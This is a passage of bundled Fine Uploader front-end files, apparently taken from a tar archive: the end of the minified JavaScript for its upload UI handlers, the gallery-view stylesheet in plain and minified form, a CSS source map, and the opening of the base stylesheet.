V(L(e),F.editFilenameInput)},isEditInput:function(e){return qq(e).hasClass(F.editFilenameInput,!0)},updateProgress:function(e,t,n){var i,o=z(e);o&&n>0&&(i=Math.round(t/n*100),100===i?W(o):te(o),ee(e,i))},updateTotalProgress:function(e,t){this.updateProgress(null,e,t)},hideProgress:function(e){var t=z(e);t&&W(t)},hideTotalProgress:function(){this.hideProgress()},resetProgress:function(e){ee(e,0),this.hideTotalProgress(e)},resetTotalProgress:function(){this.resetProgress()},showCancel:function(e){if(!_){var t=U(e);t&&qq(t).removeClass(w.classes.hide)}},hideCancel:function(e){W(U(e))},isCancel:function(e){return qq(e).hasClass(F.cancel,!0)},allowPause:function(e){te(H(e)),W(k(e))},uploadPaused:function(e){this.setStatusText(e,w.text.paused),this.allowContinueButton(e),W(G(e))},hidePause:function(e){W(H(e))},isPause:function(e){return qq(e).hasClass(F.pause,!0)},isContinueButton:function(e){return qq(e).hasClass(F.continueButton,!0)},allowContinueButton:function(e){te(k(e)),W(H(e))},uploadContinued:function(e){this.setStatusText(e,""),this.allowPause(e),te(G(e))},showDeleteButton:function(e){te(R(e))},hideDeleteButton:function(e){W(R(e))},isDeleteButton:function(e){return qq(e).hasClass(F.deleteButton,!0)},isRetry:function(e){return qq(e).hasClass(F.retry,!0)},updateSize:function(e,t){var n=j(e);n&&(te(n),qq(n).setText(t))},setStatusText:function(e,t){var n=V(L(e),F.statusText);n&&(null==t?qq(n).clearText():qq(n).setText(t))},hideSpinner:function(e){qq(L(e)).removeClass(f),W(G(e))},showSpinner:function(e){qq(L(e)).addClass(f),te(G(e))},generatePreview:function(e,t,n){this.isHiddenForever(e)||(y.push({id:e,customResizeFunction:n,optFileOrBlob:t}),!v&&T())},updateThumbnail:function(e,t,n,i){this.isHiddenForever(e)||(y.push({customResizeFunction:i,update:!0,id:e,thumbnailUrl:t,showWaitingImg:n}),!v&&T())},hasDialog:function(e){return qq.supportedFeatures.dialogElement&&!!A(e)},showDialog:function(e,t,n){var i=A(e),o=V(i,F.dialogMessage),r=i.getElementsByTagName("INPUT")[0],a=V(i,F.dialogCancelButton),s=V(i,F.dialogOkButton),l=new qq.Promise,u=function(){a.removeEventListener("click",c),s&&s.removeEventListener("click",d),l.failure()},c=function(){a.removeEventListener("click",c),i.close()},d=function(){i.removeEventListener("close",u),s.removeEventListener("click",d),i.close(),l.success(r&&r.value)};return i.addEventListener("close",u),a.addEventListener("click",c),s&&s.addEventListener("click",d),r&&(r.value=n),o.textContent=t,i.showModal(),l}})},qq.UiEventHandler=function(e,t){"use strict";function n(e){i.attach(e,o.eventType,function(e){e=e||window.event;var t=e.target||e.srcElement;o.onHandled(t,e)})}var i=new qq.DisposeSupport,o={eventType:"click",attachTo:null,onHandled:function(e,t){}};qq.extend(this,{addHandler:function(e){n(e)},dispose:function(){i.dispose()}}),qq.extend(t,{getFileIdFromItem:function(e){return e.qqFileId},getDisposeSupport:function(){return i}}),qq.extend(o,e),o.attachTo&&n(o.attachTo)},qq.FileButtonsClickHandler=function(e){"use strict";function t(e,t){qq.each(o,function(n,o){var r,a=n.charAt(0).toUpperCase()+n.slice(1);if(i.templating["is"+a](e))return r=i.templating.getFileId(e),qq.preventDefault(t),i.log(qq.format("Detected valid file button click event on file '{}', ID: {}.",i.onGetName(r),r)),o(r),!1})}var n={},i={templating:null,log:function(e,t){},onDeleteFile:function(e){},onCancel:function(e){},onRetry:function(e){},onPause:function(e){},onContinue:function(e){},onGetName:function(e){}},o={cancel:function(e){i.onCancel(e)},retry:function(e){i.onRetry(e)},deleteButton:function(e){i.onDeleteFile(e)},pause:function(e){i.onPause(e)},continueButton:function(e){i.onContinue(e)}};qq.extend(i,e),i.eventType="click",i.onHandled=t,i.attachTo=i.templating.getFileList(),qq.extend(this,new qq.UiEventHandler(i,n))},qq.FilenameClickHandler=function(e){"use strict";function t(e,t){if(i.templating.isFileName(e)||i.templating.isEditIcon(e)){var o=i.templating.getFileId(e),r=i.onGetUploadStatus(o);r===qq.status.SUBMITTED&&(i.log(qq.format("Detected valid filename click event on file '{}', ID: {}.",i.onGetName(o),o)),qq.preventDefault(t),n.handleFilenameEdit(o,e,!0))}}var n={},i={templating:null,log:function(e,t){},classes:{file:"qq-upload-file",editNameIcon:"qq-edit-filename-icon"},onGetUploadStatus:function(e){},onGetName:function(e){}};qq.extend(i,e),i.eventType="click",i.onHandled=t,qq.extend(this,new qq.FilenameEditHandler(i,n))},qq.FilenameInputFocusInHandler=function(e,t){"use strict";function n(e,n){if(i.templating.isEditInput(e)){var o=i.templating.getFileId(e),r=i.onGetUploadStatus(o);r===qq.status.SUBMITTED&&(i.log(qq.format("Detected valid filename input focus event on file '{}', ID: {}.",i.onGetName(o),o)),t.handleFilenameEdit(o,e))}}var i={templating:null,onGetUploadStatus:function(e){},log:function(e,t){}};t||(t={}),i.eventType="focusin",i.onHandled=n,qq.extend(i,e),qq.extend(this,new qq.FilenameEditHandler(i,t))},qq.FilenameInputFocusHandler=function(e){"use strict";e.eventType="focus",e.attachTo=null,qq.extend(this,new qq.FilenameInputFocusInHandler(e,{}))},qq.FilenameEditHandler=function(e,t){"use strict";function n(e){var t=s.onGetName(e),n=t.lastIndexOf(".");return n>0&&(t=t.substr(0,n)),t}function i(e){var t=s.onGetName(e);return qq.getExtension(t)}function o(e,t){var n,o=e.value;void 0!==o&&qq.trimStr(o).length>0&&(n=i(t),void 0!==n&&(o=o+"."+n),s.onSetName(t,o)),s.onEditingStatusChange(t,!1)}function r(e,n){t.getDisposeSupport().attach(e,"blur",function(){o(e,n)})}function a(e,n){t.getDisposeSupport().attach(e,"keyup",function(t){var i=t.keyCode||t.which;13===i&&o(e,n)})}var s={templating:null,log:function(e,t){},onGetUploadStatus:function(e){},onGetName:function(e){},onSetName:function(e,t){},onEditingStatusChange:function(e,t){}};qq.extend(s,e),s.attachTo=s.templating.getFileList(),qq.extend(this,new qq.UiEventHandler(s,t)),qq.extend(t,{handleFilenameEdit:function(e,t,i){var o=s.templating.getEditInput(e);s.onEditingStatusChange(e,!0),o.value=n(e),i&&o.focus(),r(o,e),a(o,e)}})}}(window);
//# sourceMappingURL=fine-uploader.min.js.mapjs/fileupload/fine-uploader-gallery.css000060400000025115150710775200014211 0ustar00/* ---------------------------------------
/* Fine Uploader Gallery View Styles
/* ---------------------------------------


/* Buttons
------------------------------------------ */
.qq-gallery .qq-btn
{
    float: right;
    border: none;
    padding: 0;
    margin: 0;
    box-shadow: none;
}

/* Upload Button
------------------------------------------ */
.qq-gallery .qq-upload-button {
    display: inline;
    width: 105px;
    padding: 7px 10px;
    float: left;
    text-align: center;
    background: #00ABC7;
    color: #FFFFFF;
    border-radius: 2px;
    border: 1px solid #37B7CC;
    box-shadow: 0 1px 1px rgba(255, 255, 255, 0.37) inset,
    1px 0 1px rgba(255, 255, 255, 0.07) inset,
    0 1px 0 rgba(0, 0, 0, 0.36),
    0 -2px 12px rgba(0, 0, 0, 0.08) inset
}
.qq-gallery .qq-upload-button-hover {
    background: #33B6CC;
}
.qq-gallery .qq-upload-button-focus {
    outline: 1px dotted #000000;
}


/* Drop Zone
------------------------------------------ */
.qq-gallery.qq-uploader {
    position: relative;
    min-height: 200px;
    max-height: 490px;
    overflow-y: hidden;
    width: inherit;
    border-radius: 6px;
    border: 1px dashed #CCCCCC;
    background-color: #FAFAFA;
    padding: 20px;
}
.qq-gallery.qq-uploader:before {
    content: attr(qq-drop-area-text) " ";
    position: absolute;
    font-size: 200%;
    left: 0;
    width: 100%;
    text-align: center;
    top: 45%;
    opacity: 0.25;
    filter: alpha(opacity=25);
}
.qq-gallery .qq-upload-drop-area, .qq-upload-extra-drop-area {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    min-height: 30px;
    z-index: 2;
    background: #F9F9F9;
    border-radius: 4px;
    text-align: center;
}
.qq-gallery .qq-upload-drop-area span {
    display: block;
    position: absolute;
    top: 50%;
    width: 100%;
    margin-top: -8px;
    font-size: 16px;
}
.qq-gallery .qq-upload-extra-drop-area {
    position: relative;
    margin-top: 50px;
    font-size: 16px;
    padding-top: 30px;
    height: 20px;
    min-height: 40px;
}
.qq-gallery .qq-upload-drop-area-active {
    background: #FDFDFD;
    border-radius: 4px;
}
.qq-gallery .qq-upload-list {
    margin: 0;
    padding: 10px 0 0;
    list-style: none;
    max-height: 450px;
    overflow-y: auto;
    clear: both;
    box-shadow: none;
}


/* Uploaded Elements
------------------------------------------ */
.qq-gallery .qq-upload-list li {
    display: inline-block;
    position: relative;
    max-width: 120px;
    margin: 0 25px 25px 0;
    padding: 0;
    line-height: 16px;
    font-size: 13px;
    color: #424242;
    background-color: #FFFFFF;
    border-radius: 2px;
    box-shadow: 0 1px 1px 0 rgba(0, 0, 0, 0.22);
    vertical-align: top;

    /* to ensure consistent size of tiles - may need to change if qq-max-size attr on preview img changes */
    height: 186px;
}

.qq-gallery .qq-upload-spinner,
.qq-gallery .qq-upload-size,
.qq-gallery .qq-upload-retry,
.qq-gallery .qq-upload-failed-text,
.qq-gallery .qq-upload-delete,
.qq-gallery .qq-upload-pause,
.qq-gallery .qq-upload-continue {
    display: inline;
}
.qq-gallery .qq-upload-retry:hover,
.qq-gallery .qq-upload-delete:hover,
.qq-gallery .qq-upload-pause:hover,
.qq-gallery .qq-upload-continue:hover {
    background-color: transparent;
}
.qq-gallery .qq-upload-delete,
.qq-gallery .qq-upload-pause,
.qq-gallery .qq-upload-continue,
.qq-gallery .qq-upload-cancel {
    cursor: pointer;
}
.qq-gallery .qq-upload-delete,
.qq-gallery .qq-upload-pause,
.qq-gallery .qq-upload-continue {
    border:none;
    background: none;
    color: #00A0BA;
    font-size: 12px;
    padding: 0;
}
/* to ensure consistent size of tiles - only display status text before auto-retry or after failure */
.qq-gallery .qq-upload-status-text {
    color: #333333;
    font-size: 12px;
    padding-left: 3px;
    padding-top: 2px;
    width: inherit;
    display: none;
    width: 108px;
}
.qq-gallery .qq-upload-fail .qq-upload-status-text {
    text-overflow: ellipsis;
    white-space: nowrap;
    overflow-x: hidden;
    display: block;
}
.qq-gallery .qq-upload-retrying .qq-upload-status-text {
    display: inline-block;
}
.qq-gallery .qq-upload-retrying .qq-progress-bar-container {
    display: none;
}

.qq-gallery .qq-upload-cancel {
    background-color: #525252;
    color: #F7F7F7;
    font-weight: bold;
    font-family: Arial, Helvetica, sans-serif;
    border-radius: 12px;
    border: none;
    height: 22px;
    width: 22px;
    padding: 4px;
    position: absolute;
    right: -5px;
    top: -6px;
    margin: 0;
    line-height: 17px;
}
.qq-gallery .qq-upload-cancel:hover {
    background-color: #525252;
}
.qq-gallery .qq-upload-retry {
    cursor: pointer;
    position: absolute;
    top: 30px;
    left: 50%;
    margin-left: -31px;
    box-shadow: 0 1px 1px rgba(255, 255, 255, 0.37) inset,
                1px 0 1px rgba(255, 255, 255, 0.07) inset,
                0 4px 4px rgba(0, 0, 0, 0.5),
                0 -2px 12px rgba(0, 0, 0, 0.08) inset;
    padding: 3px 4px;
    border: 1px solid #d2ddc7;
    border-radius: 2px;
    color: inherit;
    background-color: #EBF6E0;
    z-index: 1;
}
.qq-gallery .qq-upload-retry:hover {
    background-color: #f7ffec;
}

.qq-gallery .qq-file-info {
    padding: 10px 6px 4px;
    margin-top: -3px;
    border-radius: 0 0 2px 2px;
    text-align: left;
    overflow: hidden;
}

.qq-gallery .qq-file-info .qq-file-name {
    position: relative;
}

.qq-gallery .qq-upload-file {
    display: block;
    margin-right: 0;
    margin-bottom: 3px;
    width: auto;

    /* to ensure consistent size of tiles - constrain text to single line */
    text-overflow: ellipsis;
    white-space: nowrap;
    overflow-x: hidden;
}
.qq-gallery .qq-upload-spinner {
    display: inline-block;
    background: url("loading.gif");
    position: absolute;
    left: 50%;
    margin-left: -7px;
    top: 53px;
    width: 15px;
    height: 15px;
    vertical-align: text-bottom;
}
.qq-gallery .qq-drop-processing {
    display: block;
}
.qq-gallery .qq-drop-processing-spinner {
    display: inline-block;
    background: url("processing.gif");
    width: 24px;
    height: 24px;
    vertical-align: text-bottom;
}
.qq-gallery .qq-upload-failed-text {
    display: none;
    font-style: italic;
    font-weight: bold;
}
.qq-gallery .qq-upload-failed-icon {
    display:none;
    width:15px;
    height:15px;
    vertical-align:text-bottom;
}
.qq-gallery .qq-upload-fail .qq-upload-failed-text {
    display: inline;
}
.qq-gallery .qq-upload-retrying .qq-upload-failed-text {
    display: inline;
}
.qq-gallery .qq-upload-list li.qq-upload-success {
    background-color: #F2F7ED;
}
.qq-gallery .qq-upload-list li.qq-upload-fail {
    background-color: #F5EDED;
    box-shadow: 0 0 1px 0 red;
    border: 0;
}
.qq-gallery .qq-progress-bar {
    display: block;
    background: #00abc7;
    width: 0%;
    height: 15px;
    border-radius: 6px;
    margin-bottom: 3px;
}

.qq-gallery .qq-total-progress-bar {
    height: 25px;
    border-radius: 9px;
}

.qq-gallery .qq-total-progress-bar-container {
    margin-left: 9px;
    display: inline;
    float: right;
    width: 500px;
}

.qq-gallery .qq-upload-size {
    float: left;
    font-size: 11px;
    color: #929292;
    margin-bottom: 3px;
    margin-right: 0;
    display: inline-block;
}

.qq-gallery INPUT.qq-edit-filename {
    position: absolute;
    opacity: 0;
    filter: alpha(opacity=0);
    z-index: -1;
    -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
}

.qq-gallery .qq-upload-file.qq-editable {
    cursor: pointer;
    margin-right: 20px;
}

.qq-gallery .qq-edit-filename-icon.qq-editable {
    display: inline-block;
    cursor: pointer;
    position: absolute;
    right: 0;
    top: 0;
}

.qq-gallery INPUT.qq-edit-filename.qq-editing {
    position: static;
    height: 28px;
    width: 90px;
    width: -moz-available;
    padding: 0 8px;
    margin-bottom: 3px;
    border: 1px solid #ccc;
    border-radius: 2px;
    font-size: 13px;

    opacity: 1;
    filter: alpha(opacity=100);
    -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=100)";
}

.qq-gallery .qq-edit-filename-icon {
    display: none;
    background: url("edit.gif");
    width: 15px;
    height: 15px;
    vertical-align: text-bottom;
}
.qq-gallery .qq-delete-icon {
    background: url("trash.gif");
    width: 15px;
    height: 15px;
    vertical-align: sub;
    display: inline-block;
}
.qq-gallery .qq-retry-icon {
    background: url("retry.gif");
    width: 15px;
    height: 15px;
    vertical-align: sub;
    display: inline-block;
    float: none;
}
.qq-gallery .qq-continue-icon {
    background: url("continue.gif");
    width: 15px;
    height: 15px;
    vertical-align: sub;
    display: inline-block;
}
.qq-gallery .qq-pause-icon {
    background: url("pause.gif");
    width: 15px;
    height: 15px;
    vertical-align: sub;
    display: inline-block;
}

.qq-gallery .qq-hide {
    display: none;
}


/* Thumbnail
------------------------------------------ */
.qq-gallery .qq-in-progress .qq-thumbnail-wrapper {
    /* makes the spinner on top of the thumbnail more visible */
    opacity: 0.5;
    filter: alpha(opacity=50);
}
.qq-gallery .qq-thumbnail-wrapper {
    overflow: hidden;
    position: relative;

    /* to ensure consistent size of tiles - should match qq-max-size attribute value on qq-thumbnail-selector IMG element */
    height: 120px;
    width: 120px;
}
.qq-gallery .qq-thumbnail-selector {
    border-radius: 2px 2px 0 0;
    bottom: 0;

    /* we will override this in the :root thumbnail selector (to help center the preview) for everything other than IE8 */
    top: 0;

    /* center the thumb horizontally in the tile */
    margin:auto;
    display: block;
}

/* hack to ensure we don't try to center preview in IE8, since -ms-filter doesn't mimic translateY as expected in all cases */
:root *> .qq-gallery .qq-thumbnail-selector {
    /* vertically center preview image on tile */
    position: relative;
    top: 50%;
    transform: translateY(-50%);
    -moz-transform: translateY(-50%);
    -ms-transform: translateY(-50%);
    -webkit-transform: translateY(-50%);
}

/* <dialog> element styles */
.qq-gallery.qq-uploader DIALOG {
    display: none;
}

.qq-gallery.qq-uploader DIALOG[open] {
    display: block;
}

.qq-gallery.qq-uploader DIALOG {
    display: none;
}

.qq-gallery.qq-uploader DIALOG[open] {
    display: block;
}

.qq-gallery.qq-uploader DIALOG .qq-dialog-buttons {
    text-align: center;
    padding-top: 10px;
}

.qq-gallery.qq-uploader DIALOG .qq-dialog-buttons BUTTON {
    margin-left: 5px;
    margin-right: 5px;
}

.qq-gallery.qq-uploader DIALOG .qq-dialog-message-selector {
    padding-bottom: 10px;
}

.qq-gallery .qq-uploader DIALOG::backdrop {
    background-color: rgba(0, 0, 0, 0.7);
}js/fileupload/fine-uploader-gallery.min.css000060400000016311150710775200014771 0ustar00.qq-gallery .qq-btn{float:right;border:none;padding:0;margin:0;box-shadow:none}.qq-gallery .qq-upload-button{display:inline;width:105px;padding:7px 10px;float:left;text-align:center;background:#00ABC7;color:#FFF;border-radius:2px;border:1px solid #37B7CC;box-shadow:0 1px 1px rgba(255,255,255,.37) inset,1px 0 1px rgba(255,255,255,.07) inset,0 1px 0 rgba(0,0,0,.36),0 -2px 12px rgba(0,0,0,.08) inset}.qq-gallery .qq-upload-button-hover{background:#33B6CC}.qq-gallery .qq-upload-button-focus{outline:#000 dotted 1px}.qq-gallery.qq-uploader{position:relative;min-height:200px;max-height:490px;overflow-y:hidden;width:inherit;border-radius:6px;border:1px dashed #CCC;background-color:#FAFAFA;padding:20px}.qq-gallery.qq-uploader:before{content:attr(qq-drop-area-text) " ";position:absolute;font-size:200%;left:0;width:100%;text-align:center;top:45%;opacity:.25;filter:alpha(opacity=25)}.qq-gallery .qq-upload-drop-area,.qq-upload-extra-drop-area{position:absolute;top:0;left:0;width:100%;height:100%;min-height:30px;z-index:2;background:#F9F9F9;border-radius:4px;text-align:center}.qq-gallery .qq-upload-drop-area span{display:block;position:absolute;top:50%;width:100%;margin-top:-8px;font-size:16px}.qq-gallery .qq-upload-extra-drop-area{position:relative;margin-top:50px;font-size:16px;padding-top:30px;height:20px;min-height:40px}.qq-gallery .qq-upload-drop-area-active{background:#FDFDFD;border-radius:4px}.qq-gallery .qq-upload-list{margin:0;padding:10px 0 0;list-style:none;max-height:450px;overflow-y:auto;clear:both;box-shadow:none}.qq-gallery .qq-upload-list li{display:inline-block;position:relative;max-width:120px;margin:0 25px 25px 0;padding:0;line-height:16px;font-size:13px;color:#424242;background-color:#FFF;border-radius:2px;box-shadow:0 1px 1px 0 rgba(0,0,0,.22);vertical-align:top;height:186px}.qq-gallery .qq-upload-continue,.qq-gallery .qq-upload-delete,.qq-gallery .qq-upload-failed-text,.qq-gallery .qq-upload-pause,.qq-gallery .qq-upload-retry,.qq-gallery .qq-upload-size,.qq-gallery .qq-upload-spinner{display:inline}.qq-gallery .qq-upload-continue:hover,.qq-gallery .qq-upload-delete:hover,.qq-gallery .qq-upload-pause:hover,.qq-gallery .qq-upload-retry:hover{background-color:transparent}.qq-gallery .qq-upload-cancel,.qq-gallery .qq-upload-continue,.qq-gallery .qq-upload-delete,.qq-gallery .qq-upload-pause{cursor:pointer}.qq-gallery .qq-upload-continue,.qq-gallery .qq-upload-delete,.qq-gallery .qq-upload-pause{border:none;background:0 0;color:#00A0BA;font-size:12px;padding:0}.qq-gallery .qq-upload-status-text{color:#333;font-size:12px;padding-left:3px;padding-top:2px;display:none;width:108px}.qq-gallery .qq-upload-fail .qq-upload-status-text{text-overflow:ellipsis;white-space:nowrap;overflow-x:hidden;display:block}.qq-gallery .qq-upload-retrying .qq-upload-status-text{display:inline-block}.qq-gallery .qq-upload-retrying .qq-progress-bar-container{display:none}.qq-gallery .qq-upload-cancel{background-color:#525252;color:#F7F7F7;font-weight:700;font-family:Arial,Helvetica,sans-serif;border-radius:12px;border:none;height:22px;width:22px;padding:4px;position:absolute;right:-5px;top:-6px;margin:0;line-height:17px}.qq-gallery .qq-upload-cancel:hover{background-color:#525252}.qq-gallery .qq-upload-retry{cursor:pointer;position:absolute;top:30px;left:50%;margin-left:-31px;box-shadow:0 1px 1px rgba(255,255,255,.37) inset,1px 0 1px rgba(255,255,255,.07) inset,0 4px 4px rgba(0,0,0,.5),0 -2px 12px rgba(0,0,0,.08) inset;padding:3px 4px;border:1px solid #d2ddc7;border-radius:2px;color:inherit;background-color:#EBF6E0;z-index:1}.qq-gallery .qq-upload-retry:hover{background-color:#f7ffec}.qq-gallery .qq-file-info{padding:10px 6px 4px;margin-top:-3px;border-radius:0 0 2px 2px;text-align:left;overflow:hidden}.qq-gallery .qq-file-info .qq-file-name{position:relative}.qq-gallery .qq-upload-file{display:block;margin-right:0;margin-bottom:3px;width:auto;text-overflow:ellipsis;white-space:nowrap;overflow-x:hidden}.qq-gallery .qq-upload-spinner{display:inline-block;background:url(loading.gif);position:absolute;left:50%;margin-left:-7px;top:53px;width:15px;height:15px;vertical-align:text-bottom}.qq-gallery .qq-drop-processing{display:block}.qq-gallery .qq-drop-processing-spinner{display:inline-block;background:url(processing.gif);width:24px;height:24px;vertical-align:text-bottom}.qq-gallery .qq-upload-failed-text{display:none;font-style:italic;font-weight:700}.qq-gallery .qq-upload-failed-icon{display:none;width:15px;height:15px;vertical-align:text-bottom}.qq-gallery .qq-upload-fail .qq-upload-failed-text,.qq-gallery .qq-upload-retrying .qq-upload-failed-text{display:inline}.qq-gallery .qq-upload-list li.qq-upload-success{background-color:#F2F7ED}.qq-gallery .qq-upload-list li.qq-upload-fail{background-color:#F5EDED;box-shadow:0 0 1px 0 red;border:0}.qq-gallery .qq-progress-bar{display:block;background:#00abc7;width:0;height:15px;border-radius:6px;margin-bottom:3px}.qq-gallery .qq-total-progress-bar{height:25px;border-radius:9px}.qq-gallery .qq-total-progress-bar-container{margin-left:9px;display:inline;float:right;width:500px}.qq-gallery .qq-upload-size{float:left;font-size:11px;color:#929292;margin-bottom:3px;margin-right:0;display:inline-block}.qq-gallery INPUT.qq-edit-filename{position:absolute;opacity:0;filter:alpha(opacity=0);z-index:-1;-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"}.qq-gallery .qq-upload-file.qq-editable{cursor:pointer;margin-right:20px}.qq-gallery .qq-edit-filename-icon.qq-editable{display:inline-block;cursor:pointer;position:absolute;right:0;top:0}.qq-gallery INPUT.qq-edit-filename.qq-editing{position:static;height:28px;width:90px;width:-moz-available;padding:0 8px;margin-bottom:3px;border:1px solid #ccc;border-radius:2px;font-size:13px;opacity:1;filter:alpha(opacity=100);-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=100)"}.qq-gallery .qq-edit-filename-icon{display:none;background:url(edit.gif);width:15px;height:15px;vertical-align:text-bottom}.qq-gallery .qq-continue-icon,.qq-gallery .qq-delete-icon,.qq-gallery .qq-pause-icon,.qq-gallery .qq-retry-icon{width:15px;height:15px;vertical-align:sub;display:inline-block}.qq-gallery .qq-delete-icon{background:url(trash.gif)}.qq-gallery .qq-retry-icon{background:url(retry.gif);float:none}.qq-gallery .qq-continue-icon{background:url(continue.gif)}.qq-gallery .qq-pause-icon{background:url(pause.gif)}.qq-gallery .qq-hide{display:none}.qq-gallery .qq-in-progress .qq-thumbnail-wrapper{opacity:.5;filter:alpha(opacity=50)}.qq-gallery .qq-thumbnail-wrapper{overflow:hidden;position:relative;height:120px;width:120px}.qq-gallery .qq-thumbnail-selector{border-radius:2px 2px 0 0;bottom:0;top:0;margin:auto;display:block}:root *>.qq-gallery .qq-thumbnail-selector{position:relative;top:50%;transform:translateY(-50%);-moz-transform:translateY(-50%);-ms-transform:translateY(-50%);-webkit-transform:translateY(-50%)}.qq-gallery.qq-uploader DIALOG{display:none}.qq-gallery.qq-uploader DIALOG[open]{display:block}.qq-gallery.qq-uploader DIALOG .qq-dialog-buttons{text-align:center;padding-top:10px}.qq-gallery.qq-uploader DIALOG .qq-dialog-buttons BUTTON{margin-left:5px;margin-right:5px}.qq-gallery.qq-uploader DIALOG .qq-dialog-message-selector{padding-bottom:10px}.qq-gallery .qq-uploader DIALOG::backdrop{background-color:rgba(0,0,0,.7)}/*# sourceMappingURL=fine-uploader-gallery.min.css.map */js/fileupload/fine-uploader-new.min.css.map000060400000005302150710775200014675 0ustar00{"version":3,"sources":["_build/fine-uploader-new.css"],"names":[],"mappings":"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"}js/fileupload/fine-uploader.css000060400000012176150710775200012557 0ustar00.qq-uploader {
    position: relative;
    width: 100%;
}
.qq-upload-button {
    display: block;
    width: 105px;
    padding: 7px 0;
    text-align: center;
    background: #880000;
    border-bottom: 1px solid #DDD;
    color: #FFF;
}
.qq-upload-button-hover {
    background: #CC0000;
}
.qq-upload-button-focus {
    outline: 1px dotted #000000;
}
.qq-upload-drop-area, .qq-upload-extra-drop-area {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    min-height: 30px;
    z-index: 2;
    background: #FF9797;
    text-align: center;
}
.qq-upload-drop-area span {
    display: block;
    position: absolute;
    top: 50%;
    width: 100%;
    margin-top: -8px;
    font-size: 16px;
}
